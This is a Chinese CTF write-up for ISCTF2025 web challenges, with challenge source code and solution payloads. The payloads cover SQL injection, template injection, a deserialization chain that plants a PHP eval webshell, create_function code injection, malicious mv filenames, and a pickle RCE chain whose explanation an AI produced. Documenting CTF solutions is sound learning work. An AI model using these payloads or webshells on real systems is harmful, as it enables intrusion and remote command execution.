ISCTF2025-WEB-WP
ISCTF2025-WEB-WP
b@by n0t1ce b0ard
在 LamentXU的github上可以找到模板,或者直接审计
在registration.php中存在文件上传,对后缀没有检查


然后访问上传的马即可,路径没显示,但是师傅已经给出了路径

flag到底在哪
考察万能密码(爆破万能密码说是。。。)
根据提示看robots.txt

访问,提示用户名admin,这里卡了很久,想了万能密码,想了爆破,最后还是万能密码出了,闭合符是',不含有注释符,or被ban了,用OR
payload:
1' OR '1'='1

重定向后到/admin/upload.php,显示找不到url,结合之前dir扫到的路径,应该是根目录的upload.php,尝试访问/upload.php,传马

难过的bottle
源码如下:
from bottle import route, run, template, post, request, static_file, error
import os
import zipfile
import hashlib
import time
import shutil
# hint: flag is in /flag
UPLOAD_DIR = 'uploads'
os.makedirs(UPLOAD_DIR, exist_ok=True)
MAX_FILE_SIZE = 1 * 1024 * 1024 # 1MB
BLACKLIST = ["b","c","d","e","h","i","j","k","m","n","o","p","q","r","s","t","u","v","w","x","y","z","%",";",",","<",">",":","?"]
def contains_blacklist(content):
"""检查内容是否包含黑名单中的关键词(不区分大小写)"""
content = content.lower()
return any(black_word in content for black_word in BLACKLIST)
def safe_extract_zip(zip_path, extract_dir):
"""安全解压ZIP文件(防止路径遍历攻击)"""
with zipfile.ZipFile(zip_path, 'r') as zf:
for member in zf.infolist():
member_path = os.path.realpath(os.path.join(extract_dir, member.filename))
if not member_path.startswith(os.path.realpath(extract_dir)):
raise ValueError("非法文件路径: 路径遍历攻击检测")
zf.extract(member, extract_dir)
@route('/')
def index():
"""首页"""
return '''
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>ZIP文件查看器</title>
<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet">
<link rel="stylesheet" href="/static/css/style.css">
</head>
<body>
<div class="header text-center">
<div class="container">
<h1 class="display-4 fw-bold">📦 ZIP文件查看器</h1>
<p class="lead">安全地上传和查看ZIP文件内容</p>
</div>
</div>
<div class="container">
<div class="row justify-content-center" id="index-page">
<div class="col-md-8 text-center">
<div class="card">
<div class="card-body p-5">
<div class="emoji-icon">📤</div>
<h2 class="card-title">轻松查看ZIP文件内容</h2>
<p class="card-text">上传ZIP文件并安全地查看其中的内容,无需解压到本地设备</p>
<div class="mt-4">
<a href="/upload" class="btn btn-primary btn-lg px-4 me-3">
📁 上传ZIP文件
</a>
<a href="#features" class="btn btn-outline-secondary btn-lg px-4">
ℹ️ 了解更多
</a>
</div>
</div>
</div>
</div>
</div>
<div class="row mt-5" id="features">
<div class="col-md-4 mb-4">
<div class="card h-100">
<div class="card-body text-center p-4">
<div class="emoji-icon">🛡️</div>
<h4>安全检测</h4>
<p>系统会自动检测上传文件,防止路径遍历攻击和恶意内容</p>
</div>
</div>
</div>
<div class="col-md-4 mb-4">
<div class="card h-100">
<div class="card-body text-center p-4">
<div class="emoji-icon">📄</div>
<h4>内容预览</h4>
<p>直接在线查看ZIP文件中的文本内容,无需下载</p>
</div>
</div>
</div>
<div class="col-md-4 mb-4">
<div class="card h-100">
<div class="card-body text-center p-4">
<div class="emoji-icon">⚡</div>
<h4>快速处理</h4>
<p>高效处理小于1MB的ZIP文件,快速获取内容</p>
</div>
</div>
</div>
</div>
</div>
<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/js/bootstrap.bundle.min.js"></script>
</body>
</html>
'''
@route('/upload')
def upload_page():
"""上传页面"""
return '''
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>上传ZIP文件</title>
<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet">
<link rel="stylesheet" href="/static/css/style.css">
</head>
<body>
<div class="header text-center">
<div class="container">
<h1 class="display-4 fw-bold">📦 ZIP文件查看器</h1>
<p class="lead">安全地上传和查看ZIP文件内容</p>
</div>
</div>
<div class="container mt-4">
<div class="row justify-content-center">
<div class="col-md-8">
<div class="card">
<div class="card-header bg-primary text-white">
<h4 class="mb-0">📤 上传ZIP文件</h4>
</div>
<div class="card-body">
<form action="/upload" method="post" enctype="multipart/form-data" class="upload-form">
<div class="mb-3">
<label for="fileInput" class="form-label">选择ZIP文件(最大1MB)</label>
<input class="form-control" type="file" name="file" id="fileInput" accept=".zip" required>
<div class="form-text">仅支持.zip格式的文件,且文件大小不超过1MB</div>
</div>
<button type="submit" class="btn btn-primary w-100">
📤 上传文件
</button>
</form>
</div>
</div>
<div class="text-center mt-4">
<a href="/" class="btn btn-outline-secondary">
↩️ 返回首页
</a>
</div>
</div>
</div>
</div>
<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/js/bootstrap.bundle.min.js"></script>
</body>
</html>
'''
@post('/upload')
def upload():
"""处理文件上传"""
zip_file = request.files.get('file')
if not zip_file or not zip_file.filename.endswith('.zip'):
return '请上传有效的ZIP文件'
zip_file.file.seek(0, 2)
file_size = zip_file.file.tell()
zip_file.file.seek(0)
if file_size > MAX_FILE_SIZE:
return f'文件大小超过限制({MAX_FILE_SIZE/1024/1024}MB)'
timestamp = str(time.time())
unique_str = zip_file.filename + timestamp
dir_hash = hashlib.md5(unique_str.encode()).hexdigest()
extract_dir = os.path.join(UPLOAD_DIR, dir_hash)
os.makedirs(extract_dir, exist_ok=True)
zip_path = os.path.join(extract_dir, 'uploaded.zip')
zip_file.save(zip_path)
try:
safe_extract_zip(zip_path, extract_dir)
except (zipfile.BadZipFile, ValueError) as e:
shutil.rmtree(extract_dir)
return f'处理ZIP文件时出错: {str(e)}'
files = [f for f in os.listdir(extract_dir) if f != 'uploaded.zip']
return template('''
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>上传成功</title>
<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet">
<link rel="stylesheet" href="/static/css/style.css">
</head>
<body>
<div class="header text-center">
<div class="container">
<h1 class="display-4 fw-bold">📦 ZIP文件查看器</h1>
<p class="lead">安全地上传和查看ZIP文件内容</p>
</div>
</div>
<div class="container mt-4">
<div class="row justify-content-center">
<div class="col-md-8">
<div class="card">
<div class="card-header bg-success text-white">
<h4 class="mb-0">✅ 上传成功!</h4>
</div>
<div class="card-body">
<div class="alert alert-success" role="alert">
✅ 文件已成功上传并解压
</div>
<h5>文件列表:</h5>
<ul class="list-group mb-4">
% for file in files:
<li class="list-group-item d-flex justify-content-between align-items-center">
<span>📄 {{file}}</span>
<a href="/view/{{dir_hash}}/{{file}}" class="btn btn-sm btn-outline-primary">
查看
</a>
</li>
% end
</ul>
% if files:
<div class="d-grid gap-2">
<a href="/view/{{dir_hash}}/{{files[0]}}" class="btn btn-primary">
👀 查看第一个文件
</a>
</div>
% end
</div>
</div>
<div class="text-center mt-4">
<a href="/upload" class="btn btn-outline-primary me-2">
➕ 上传另一个文件
</a>
<a href="/" class="btn btn-outline-secondary">
🏠 返回首页
</a>
</div>
</div>
</div>
</div>
<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/js/bootstrap.bundle.min.js"></script>
</body>
</html>
''', dir_hash=dir_hash, files=files)
@route('/view/<dir_hash>/<filename:path>')
def view_file(dir_hash, filename):
file_path = os.path.join(UPLOAD_DIR, dir_hash, filename)
if not os.path.exists(file_path):
return "文件不存在"
if not os.path.isfile(file_path):
return "请求的路径不是文件"
real_path = os.path.realpath(file_path)
if not real_path.startswith(os.path.realpath(UPLOAD_DIR)):
return "非法访问尝试"
try:
with open(file_path, 'r', encoding='utf-8') as f:
content = f.read()
except:
try:
with open(file_path, 'r', encoding='latin-1') as f:
content = f.read()
except:
return "无法读取文件内容(可能是二进制文件)"
if contains_blacklist(content):
return "文件内容包含不允许的关键词"
try:
return template(content)
except Exception as e:
return f"渲染错误: {str(e)}"
@route('/static/<filename:path>')
def serve_static(filename):
"""静态文件服务"""
return static_file(filename, root='static')
@error(404)
def error404(error):
return "讨厌啦不是说好只看看不摸的吗"
@error(500)
def error500(error):
return "不要透进来啊啊啊啊"
if __name__ == '__main__':
os.makedirs('static', exist_ok=True)
#原神,启动!
run(host='0.0.0.0', port=5000, debug=False)
这里先贴出payload:
{{ __import__('\157\163').popen('\143\141\164\040\057\146\154\141\147').read() }}
即:
{{__import__('os').popen('cat /flag').read()}}
分析源码,黑名单ban了很多字符,基本上不能构造正常的模板注入,但是后端用的是python,联想到python的全角漏洞
python3为了支持多种语言的输入,会对标识符进行进行标准化,这里有一个值得注意的点:
if contains_blacklist(content):
return "文件内容包含不允许的关键词"
try:
return template(content)
except Exception as e:
return f"渲染错误: {str(e)}"
if判断时,调用contains_blacklist函数,对content进行过滤,跟进这个函数:
def contains_blacklist(content):
"""检查内容是否包含黑名单中的关键词(不区分大小写)"""
content = content.lower()
return any(black_word in content for black_word in BLACKLIST)
这里所有的操作均是把我们的payload当作字符串来处理的,不会触发NFKC标准化进程,达到绕过的目的,在try中,content被当作源代码来执行,模板引擎遇见{{xxxx}}会对其中的内容进行编译,这里进行了标准化操作,使得我们的payload被解析,输出flag
把payload写入test.tpl(后缀无所谓),压成zip上传,访问即得flag


flag?我就借走了
考察软链接
上来就是一个上传,还提示我会解压到目录,直接考虑软链接
猜测flag在根目录(好猜兄弟)
在linux中新建一个指向该目录的软链接,压成tar包上传,命令如下:

这里文件的后缀不能用jpg等图片格式,会被服务器当成图片解析无输出。。。

ezrce
考察无参rce的构造
<?php
highlight_file(__FILE__);
if(isset($_GET['code'])){
$code = $_GET['code'];
if (preg_match('/^[A-Za-z\(\)_;]+$/', $code)) {
eval($code);
}else{
die('师傅,你想拿flag?');
}

/这种字符都被ban了,数字也被ban了,很难构造出字符了,根据给出的括号和分号,联想到无参rce的构造
我们先看看当前目录有没有flag
?code=print_r(scandir(current(localeconv())));,并没有。。。

这里先给出payload,再做解释:
?code=chdir(next(scandir(current(localeconv()))));chdir(next(scandir(current(localeconv()))));chdir(next(scandir(current(localeconv()))));chdir(next(scandir(current(localeconv()))));chdir(next(scandir(current(localeconv()))));chdir(next(scandir(current(localeconv()))));chdir(next(scandir(current(localeconv()))));chdir(next(scandir(current(localeconv()))));chdir(next(scandir(current(localeconv()))));chdir(next(scandir(current(localeconv()))));print_r(scandir(current(localeconv())));show_source(flag);
这个payload其实有点无脑,穿越的次数可以少一点,但是我懒得找,直接上跳十次,现在解析一下这个payload:
localeconv():返回一个包含数字格式信息的数组
current(localeconv()):取出localeconv的第一个元素构造出. (表示当前目录)
scandir(current(localeconv())):扫描当前目录,返回文件数组,在Linux/Windows 目录下,scandir 返回的前两个元素永远是 .(当前目录)和 ..(上级目录),且默认按字母排序,.. 排在 . 后面。
next(scandir(current(localeconv()))):指针后移并返回值,指向..(上级目录)
chdir(next(scandir(current(localeconv()))));目录穿越,chdir--改变当前目录
所以10个上述操作连起来就会连续上跳10次,肯定到了根目录,这个时候再去read或者show_source就能读到flag了

来签个到吧
考察反序列化
源码审计
index.php
<?php
require_once "./config.php";
require_once "./classes.php";
if ($_SERVER["REQUEST_METHOD"] === "POST") {
$s = $_POST["shark"] ?? '喵喵喵?';
if (str_starts_with($s, "blueshark:")) {
$ss = substr($s, strlen("blueshark:"));
$o = @unserialize($ss);
$p = $db->prepare("INSERT INTO notes (content) VALUES (?)");
$p->execute([$ss]);
echo "save sucess!";
exit(0);
} else {
echo "喵喵喵?";
exit(1);
}
}
$q = $db->query("SELECT id, content FROM notes ORDER BY id DESC LIMIT 10");
$rows = $q->fetchAll(PDO::FETCH_ASSOC);
?>
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<title>宝宝你是一只猫猫</title>
<style>
body { font-family: system-ui, -apple-system, "Segoe UI", Roboto, "Helvetica Neue", Arial; padding: 24px; }
textarea { width: 100%; max-width: 800px; height: 120px; font-family: monospace; }
.recent { margin-top: 20px; max-width: 900px; }
.note { background:#f7f7f8; padding:10px; border-radius:6px; margin-bottom:8px; font-family: monospace; white-space:pre-wrap; }
.meta { color:#666; font-size:90%; margin-bottom:6px; }
.btn { padding:8px 14px; border-radius:6px; border:1px solid #ccc; background:#fff; cursor:pointer; }
</style>
</head>
<body>
<h1>SharkHub</h1>
<form method="POST" style="max-width:900px; margin-bottom:18px;">
<p>你喜欢小蓝鲨吗?</p>
<br/>
<!--
<textarea id="s" name="shark" placeholder=""></textarea><br/>
<br/>
<button class="btn" type="submit">commit</button>
-->
</form>
<div class="recent">
<h2>Recent</h2>
<?php foreach ($rows as $r): ?>
<div class="note">
<div class="meta">#<?= htmlspecialchars($r['id'], ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8') ?></div>
<div><?= htmlspecialchars($r['content'], ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8') ?></div>
</div>
<?php endforeach; ?>
</div>
</body>
</html>
可以看到这里有个反序列化的入口,而且判断我们的输入必须以blueshark:开头,后面的内容会被反序列化,我们接着找别的文件
classes.php
<?php
class FileLogger {
public $logfile = "/tmp/notehub.log";
public $content = "";
public function __construct($f=null) {
if ($f) {
$this->logfile = $f;
}
}
public function write($msg) {
$this->content .= $msg . "\n";
file_put_contents($this->logfile, $this->content, FILE_APPEND);
}
public function __destruct() {
if ($this->content) {
file_put_contents($this->logfile, $this->content, FILE_APPEND);
}
}
}
class ShitMountant {
public $url;
public $logger;
public function __construct($url) {
$this->url = $url;
$this->logger = new FileLogger();
}
public function fetch() {
$c = file_get_contents($this->url);
if ($this->logger) {
$this->logger->write("fetched ==> " . $this->url);
}
return $c;
}
public function __destruct() {
$this->fetch();
}
}
?>
这里就是反序列化的关键文件了
找到可以利用的地方,就是这里:
public function fetch() {
$c = file_get_contents($this->url);
if ($this->logger) {
$this->logger->write("fetched ==> " . $this->url);
}
return $c;
}
链子非常之简单,这里依旧给出payload(类中的方法我为了方便查找没有删,不影响最后结果,方法不会被serialize序列化):
<?php
class FileLogger {
public $logfile = "/tmp/notehub.log";
public $content = "";
public function __construct($f) {
if ($f) {
$this->logfile = $f;
}
}
public function write($msg) {
$this->content .= $msg . "\n";
file_put_contents($this->logfile, $this->content, FILE_APPEND);
}
}
class ShitMountant {
public $url;
public $logger;
public function __construct($url) {
$this->url = $url;
$this->logger = new FileLogger("/var/www/html/shell.php");
}
public function fetch() {
$c = file_get_contents($this->url);
if ($this->logger) {
$this->logger->write("fetched ==> " . $this->url);
}
return $c;
}
public function __destruct() {
$this->fetch();
}
}
$shi = new ShitMountant("<?php eval(\$_POST['cmd']); ?>");
echo serialize($shi);
?>
先实例化ShitMountant类,传马给到url,后面的一切都帮我们搭建好了
反序列化-->调用ShitMountant的__destruct方法-->调用ShitMountant的fetch方法-->包含传入的url,执行命令-->一句话木马被写入shell.php
序列化结果:
O:12:"ShitMountant":2:{s:3:"url";s:29:"<?php eval($_POST['cmd']); ?>";s:6:"logger";O:10:"FileLogger":2:{s:7:"logfile";s:23:"/var/www/html/shell.php";s:7:"content";s:0:"";}}
拼接上blueshark:后访问shell.php路由就可以肆无忌惮的执行命令了

mv_upload
考察mv操作符和恶意文件名构造

这里考察的是-S操作符,对于已经存在的文件,-S操作符会替换备份文件的后缀(可指定),从而达到构造恶意php文件,从而getshell
预期构造命令:mv -S php t. ./var/www/html/upload/
这段命令会将后缀php拼接到文件t.后,被服务器当作php文件执行
所以我们用bp抓包,传入三个文件,文件名分别为'-S','php','t.'
在本地起环境来看看实现过程:
1.先上传一遍t.文件

2.再依次传入'-S','php','t.'三个文件(值得注意的是,t.这个文件的名字不是任意的,如果传入1.,顺序会被打乱,命令就不会按照预期的情况执行,导致构造失败)


然后上传至目标目录,就是在这一步,执行了我们构造的恶意命令,t.和php成功的被拼接起来了

到这里就可以蚁剑连接或者命令执行了
Bypass
先贴出源码:
<?php
class FLAG
{
private $a;
protected $b;
public function __construct($a, $b)
{
$this->a = $a;
$this->b = $b;
$this->check($a,$b);
eval($a.$b);
}
public function __destruct(){
$a = (string)$this->a;
$b = (string)$this->b;
if ($this->check($a,$b)){
$a("", $b);
}
else{
echo "Try again!";
}
}
private function check($a, $b) {
$blocked_a = ['eval', 'dl', 'ls', 'p', 'escape', 'er', 'str', 'cat', 'flag', 'file', 'ay', 'or', 'ftp', 'dict', '\.\.', 'h', 'w', 'exec', 's', 'open'];
$blocked_b = ['find', 'filter', 'c', 'pa', 'proc', 'dir', 'regexp', 'n', 'alter', 'load', 'grep', 'o', 'file', 't', 'w', 'insert', 'sort', 'h', 'sy', '\.\.', 'array', 'sh', 'touch', 'e', 'php', 'f'];
$pattern_a = '/' . implode('|', array_map('preg_quote', $blocked_a, ['/'])) . '/i';
$pattern_b = '/' . implode('|', array_map('preg_quote', $blocked_b, ['/'])) . '/i';
if (preg_match($pattern_a, $a) || preg_match($pattern_b, $b)) {
return false;
}
return true;
}
}
if (isset($_GET['exp'])) {
$p = unserialize($_GET['exp']);
var_dump($p);
}else{
highlight_file("index.php");
}
关键代码在这:$a("", $b);
这里联想到creat_function,抓包看下php版本(create_function在php7.3中被废弃,在php8.0中被移除,所以php版本十分重要):

这里是php7.1,那就是这个方法了
我们先看看create_function的实现是怎么样的:
function create_function($args, $code) {
$virtual_code = "function lambda_func($args) { $code }";
eval($virtual_code);
}
从中我们可以看出,这个函数实际上是创建了一个匿名函数,放入eval中执行命令,这给了我们极大的构造空间
第一个参数可以不传,表示方法不需要传入值,第二个参数构造}闭合掉匿名函数,;开启下个命令,//注释掉后面的}",就可以开始操作了
我们构造};system('ls /');//,但是这里对$b有过滤,我们使用8进制绕过(16进制也行,但是c会被waf,异或一下也能写)
然后反序列化:
ls /; :
?exp=O%3A4%3A"FLAG"%3A2%3A{s%3A7%3A"%00FLAG%00a"%3Bs%3A15%3A"create_function"%3Bs%3A4%3A"%00*%00b"%3Bs%3A48%3A"}"\163\171\163\164\145\155"("\154\163\40\57")%3B%2F%2F"%3B}
cat /f*; :
?exp=O%3A4%3A%22FLAG%22%3A2%3A%7Bs%3A7%3A%22%00FLAG%00a%22%3Bs%3A15%3A%22create_function%22%3Bs%3A4%3A%22%00%2A%00b%22%3Bs%3A59%3A%22%7D%22%5C163%5C171%5C163%5C164%5C145%5C155%22%28%22%5C143%5C141%5C164%5C40%5C57%5C146%5C52%22%29%3B%2F%2F%22%3B%7D

双生序列
这题ai能解,而且解释的非常清楚,所以这里直接给出ai的解析
这是一个非常精妙的 “多阶段、多语言” 联合漏洞利用题目。你需要通过 PHP 的反序列化(POP 链)来铺设环境,最后触发 Python 的反序列化漏洞来执行系统命令。
以下是完整的源码审计和攻击路径分析。
- 架构总览
整个攻击流程分为三个阶段,涉及三个主要文件:
index.php(入口):- 允许你存入以
blueshark:开头的任意字符串到数据库。 - 作用:这是我们注入序列化 Payload 的入口(Stored Object Injection)。
- 允许你存入以
api.php(铺路):- 读取数据库中的内容,并反序列化(允许
Bridge,Writer,Shark类)。 - 作用:这是 PHP POP 链的触发点。我们需要利用它在服务器的
/tmp/ssxl/目录下生成两个关键文件:write.bin+write.meta:给 Python 用的恶意数据包。run.bin:给run.php用的序列化对象。
- 读取数据库中的内容,并反序列化(允许
run.php(引爆):- 读取
/tmp/ssxl/run.bin并反序列化(只允许Pytools类)。 - 作用:反序列化
Pytools对象会触发系统命令python3 pytools.py,从而读取write.bin并最终执行 RCE。
- 读取
- PHP POP 链构造 (The Setup)
我们需要构造一个 Bridge 对象,它连接了 Writer 和 Shark。
链条逻辑:
- 触发点:
api.php中$o = unserialize(...); $r = $o->fetch();。 - 第一步 (
Bridge):Bridge::fetch()访问$this->write。- 触发
Bridge::__get('write')。 __get内部调用$this->writer->fetch()。
- 第二步 (
Writer- 生成 Python Payload):Writer::fetch()调用write_all()。write_all()将我们预先 Base64 编码的 Python Payload 写入/tmp/ssxl/write.bin,并使用密钥kaqikaqi生成签名写入write.meta。- 注意:目录
/tmp/ssxl可能不存在。利用Writer::__wakeup()->$this->init()来创建目录。设置$init = "init"。
- 第三步 (
Shark- 生成 PHP Trigger):- 回到
Bridge::__get,它返回$this->shark。 api.php接着执行echo ... $r(此时$r是 Shark 对象)。echo触发Shark::__toString()。__toString调用apply(),将我们预先准备好的Pytools序列化字符串写入/tmp/ssxl/run.bin。
- 回到
- Python 漏洞利用 (The RCE)
pytools.py 存在两个漏洞,结合起来可以 RCE。
- 密钥同步绕过:Python 脚本先反序列化对象,读取其中的
secret属性,然后才用这个secret去校验签名。- PHP 的
Writer类使用固定密钥"kaqikaqi"签名。 - 只要我们在 Python Payload 里也设置
secret = b"kaqikaqi",签名校验就能通过。
- PHP 的
- Pickle RCE:通过第一层校验后,脚本会读取
payload属性并进行pickle.loads(payload)。这里没有白名单限制,可以直接 RCE。
- 完整的 EXP 生成脚本
你需要两个脚本:一个生成 Python 的 Payload,一个生成最终提交给 PHP 的 Payload。
第一步:生成 Python Payload (run locally)
import pickle
import base64
# ==========================================
# 1. 定义与服务器一致的类结构
# ==========================================
class Set:
def __init__(self):
# 必须是 kaqikaqi,与 PHP Writer 类同步
self.secret = b"kaqikaqi"
self.payload = b""
# ==========================================
# 2. 构造 RCE Payload (使用 exec 兼容所有系统)
# ==========================================
class RCE:
def __reduce__(self):
# 使用 exec 动态执行代码,避免直接序列化 os.system 带来的 nt/posix 兼容性问题
# 1. 尝试找 flag (通常在根目录 /flag 或 /flag.txt)
# 2. 将结果写入 /tmp/ssxl/outs.txt (题目要求)
# 这里的命令非常关键,建议用 ls / 先探路,或者直接 cat /flag
cmd = "import os; os.system('cat /flag > /tmp/ssxl/outs.txt')"
# 如果你不确定 flag 在哪,可以用这个命令列出根目录文件:
# cmd = "import os; os.system('ls -la / > /tmp/ssxl/outs.txt')"
return (exec, (cmd,))
# ==========================================
# 3. 生成 Payload
# ==========================================
outer = Set()
outer.payload = pickle.dumps(RCE())
# 生成最终数据
final_pickle = pickle.dumps(outer)
print("请复制下面的 Base64 字符串到 PHP 脚本中:")
print("---------------------------------------------------")
print(base64.b64encode(final_pickle).decode())
print("---------------------------------------------------")
第二步:生成 PHP Payload (run locally)
<?php
// === 类定义 (精简版,只保留属性) ===
class Writer {
public $b64data = "";
public $init = 'init'; // 关键:让 wakeup 调用 init() 创建目录 /tmp/ssxl
private $secret = "kaqikaqi";
public function __construct($data) {
$this->b64data = $data;
}
}
class Pytools {
// 这是一个空类,序列化它只是为了写入 run.bin
// run.php 反序列化它时,会加载服务器上的 Pytools 类定义并执行 run()
}
class Shark {
public $ser = "";
public function __construct($s) {
$this->ser = $s;
}
}
class Bridge {
public $writer;
public $shark;
public function __construct($w, $s) {
$this->writer = $w;
$this->shark = $s;
}
}
// === 构造 Payload ===
// 1. 填入 Python 脚本生成的 Base64 字符串
$python_payload = "gASVmgAAAAAAAACMCF9fbWFpbl9flIwDU2V0lJOUKYGUfZQojAZzZWNyZXSUQwhrYXFpa2FxaZSMB3BheWxvYWSUQ12ABJVSAAAAAAAAAIwIYnVpbHRpbnOUjARleGVjlJOUjDZpbXBvcnQgb3M7IG9zLnN5c3RlbSgnY2F0IC9mbGFnID4gL3RtcC9zc3hsL291dHMudHh0JymUhZRSlC6UdWIu";
// 2. 构造 run.bin 的内容 (序列化的 Pytools 对象)
$pytools_payload = serialize(new Pytools());
// 3. 组装 POP 链
$writer = new Writer($python_payload);
$shark = new Shark($pytools_payload);
$bridge = new Bridge($writer, $shark);
// 4. 生成最终 Payload,加上前缀
$final_payload = "blueshark:" . serialize($bridge);
echo $final_payload;
?>
//结果:blueshark:O:6:"Bridge":2:{s:6:"writer";O:6:"Writer":3:{s:7:"b64data";s:220:"gASVmgAAAAAAAACMCF9fbWFpbl9flIwDU2V0lJOUKYGUfZQojAZzZWNyZXSUQwhrYXFpa2FxaZSMB3BheWxvYWSUQ12ABJVSAAAAAAAAAIwIYnVpbHRpbnOUjARleGVjlJOUjDZpbXBvcnQgb3M7IG9zLnN5c3RlbSgnY2F0IC9mbGFnID4gL3RtcC9zc3hsL291dHMudHh0JymUhZRSlC6UdWIu";s:4:"init";s:4:"init";s:14:" Writer secret";s:8:"kaqikaqi";}s:5:"shark";O:5:"Shark":1:{s:3:"ser";s:18:"O:7:"Pytools":0:{}";}}
-
攻击步骤
-
生成 Payload:
- 先运行 Python 脚本得到 Base64。
- 将 Base64 填入 PHP 脚本,运行 PHP 脚本得到最终字符串(以
blueshark:开头)。
-
注入 (Index.php):
- 发送 POST 请求到
index.php。 - 参数:
s=blueshark:O:6:"Bridge":...(即上面的完整字符串)。 - 服务器会返回保存成功。
- 发送 POST 请求到
-
查看 ID:
- 刷新
index.php,在 "Recent" 列表中找到你刚刚提交的那条记录,记下它的#id(例如#15)。
- 刷新
-
铺路 (Api.php):
- 访问
api.php?id=15(替换为你记下的 ID)。 - 预期结果:页面显示 "喵喵喵!"。
- 后台发生了什么:
- 反序列化了
Bridge。 Writer创建了目录/tmp/ssxl,写入了write.bin(恶意 Pickle) 和write.meta。Shark写入了run.bin(序列化的Pytools对象)。
- 反序列化了
- 访问
-
引爆 (Run.php):
- 访问
run.php?action=run。 - 后台发生了什么:
- 反序列化
run.bin-> 得到Pytools对象。 - 调用
blueshark()-> 触发__call->run()。 - 执行
python3 pytools.py。 - Python 脚本加载
write.bin,用kaqikaqi验签通过,反序列化 RCE。 - 命令执行
cat /flag > /tmp/ssxl/outs.txt。 - Python 脚本读取
outs.txt并打印。
- 反序列化
- 预期结果:Flag 会直接显示在页面响应中(或者包含在
Pytools的 log 输出里)。
- 访问

ezpop
先贴源码:
<?php
error_reporting(0);
class begin {
public $var1;
public $var2;
function __construct($a)
{
$this->var1 = $a;
}
function __destruct() {
echo $this->var1;
}
public function __toString() {
$newFunc = $this->var2;
return $newFunc();
}
}
class starlord {
public $var4;
public $var5;
public $arg1;
public function __call($arg1, $arg2) {
$function = $this->var4;
return $function();
}
public function __get($arg1) {
$this->var5->ll2('b2');
}
}
class anna {
public $var6;
public $var7;
public function __toString() {
$long = @$this->var6->add();
return $long;
}
public function __set($arg1, $arg2) {
if ($this->var7->tt2) {
echo "yamada yamada";
}
}
}
class eenndd {
public $command;
public function __get($arg1) {
if (preg_match("/flag|system|tail|more|less|php|tac|cat|sort|shell|nl|sed|awk| /i", $this->command)){
echo "nonono";
}else {
eval($this->command);
}
}
}
class flaag {
public $var10;
public $var11="1145141919810";
public function __invoke() {
if (md5(md5($this->var11)) == 666) {
return $this->var10->hey;
}
}
}
if (isset($_POST['ISCTF'])) {
unserialize($_POST["ISCTF"]);
}else {
highlight_file(__FILE__);
}
链子不算太难,但是过滤的空格放在最后真的很难看到,导致被卡了好久。。。
begin::__destruct-->anna::__tostring-->starlord::__call-->flaag::__invoke-->eenndd::__get
完整payload如下(为方便构造和阅读,没有删去方法,不影响答案):
<?php
class begin {
public $var1;
public $var2;
function __construct($a)
{
$this->var1 = $a;
}
}
class starlord {
public $var4;
public $var5;
public $arg1;
public function __call($arg1, $arg2) {
$function = $this->var4;
return $function();//3
}
public function __get($arg1) {
$this->var5->ll2('b2');
}
}
class anna {
public $var6;
public $var7;
public function __toString() {
$long = @$this->var6->add();//4
return $long;
}
public function __set($arg1, $arg2) {
if ($this->var7->tt2) {
echo "yamada yamada";
}
}
}
class eenndd {
public $command;
public function __get($arg1) {
if (preg_match("/flag|system|tail|more|less|php|tac|cat|sort|shell|nl|sed|awk| /i", $this->command)){
echo "nonono";
}else {
eval($this->command);//shell
}
}
}
class flaag {
public $var10;
public $var11="1145141919810";
public function __invoke() {
if (md5(md5($this->var11)) == 666) {
return $this->var10->hey;//2
}
}
}
//begin::__destruct-->anna::__tostring-->starlord::__call-->flaag::__invoke-->eenndd::__get
$end = new eenndd();
$end->command = "passthru('ls\t/');";
$flag = new flaag();
$flag->var11 = '213';
$flag->var10 = $end;
$star = new starlord();
$star->var4 = $flag;
$anna = new anna();
$anna->var6 = $star;
$begin = new begin($anna);
echo urlencode(serialize($begin));
这里system可以被passthru替代,空格使用\t绕过,这里顺带解释一下空格绕过的原理:
简单来说:在 Linux 的命令行眼里,“空格”只是分隔符的一种,Tab(制表符 \t)也是分隔符,它们的地位是完全平等的。
Linux Shell 有一个环境变量叫做 IFS(内部字段分隔符)。它的作用是定义 Shell 在读取输入或解析命令时,用哪些字符来区分不同的参数。
-
默认情况下,
IFS的值包含三个字符:-
空格 (Space, ASCII 32,
\x20) -
制表符/Tab (Tab, ASCII 9,
\t,\x09) -
换行符 (Newline, ASCII 10,
\n,\x0a) -
在url或者被$_GET[]解析时,上述写法可以改成%20,%09,%0a'
实际上<>也可以被当作空格,shell读到重定向符就知道把两边分开了
-
payload
ISCTF=O%3A5%3A%22begin%22%3A2%3A%7Bs%3A4%3A%22var1%22%3BO%3A4%3A%22anna%22%3A2%3A%7Bs%3A4%3A%22var6%22%3BO%3A8%3A%22starlord%22%3A3%3A%7Bs%3A4%3A%22var4%22%3BO%3A5%3A%22flaag%22%3A2%3A%7Bs%3A5%3A%22var10%22%3BO%3A6%3A%22eenndd%22%3A1%3A%7Bs%3A7%3A%22command%22%3Bs%3A17%3A%22passthru%28%27ls%09%2F%27%29%3B%22%3B%7Ds%3A5%3A%22var11%22%3Bs%3A3%3A%22213%22%3B%7Ds%3A4%3A%22var5%22%3BN%3Bs%3A4%3A%22arg1%22%3BN%3B%7Ds%3A4%3A%22var7%22%3BN%3B%7Ds%3A4%3A%22var2%22%3BN%3B%7D
//对应passthru('ls\t/');
payload
